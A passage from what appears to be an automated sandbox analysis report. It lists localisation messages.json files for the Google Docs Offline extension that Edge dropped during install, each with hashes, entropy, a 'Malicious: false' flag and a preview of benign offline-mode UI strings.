Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.631887382471946
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97f9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95MwP9KkJ+je:YwBrD2J2DBLMfFuWvdpY94vioO+uh
MD5:	1F565FB1C549B18AF8BBFED8DECD5D94
SHA1:	B57F4BDAE06FF3DFC1EB3E56B6F2F204D6F63638
SHA-256:	E16325D1A641EF7421F2BAFCD6433D53543C89D498DD96419B03CBA60B9C7D60
SHA-512:	A60B8E042A9BCDCC136B87948E9924A0B24D67C6CA9803904B876F162A0AD82B9619F1316BE9FF107DD143B44F7E6F5DF604ABFE00818DEB40A7D62917CDA69F
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1880
Entropy (8bit):	4.295185867329351
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/UGG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZZ
MD5:	8E16966E815C3C274EEB8492B1EA6648
SHA1:	7482ED9F1C9FD9F6F9BA91AB15921B19F64C9687
SHA-256:	418FF53FCA505D54268413C796E4DF80E947A09F399AB222A90B81E93113D5B5
SHA-512:	85B28202E874B1CF45B37BA05B87B3D8D6FE38E89C6011C4240CF6B563EA6DA60181D712CCE20D07C364F4A266A4EC90C4934CC8B7BB2013CB3B22D755796E38
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
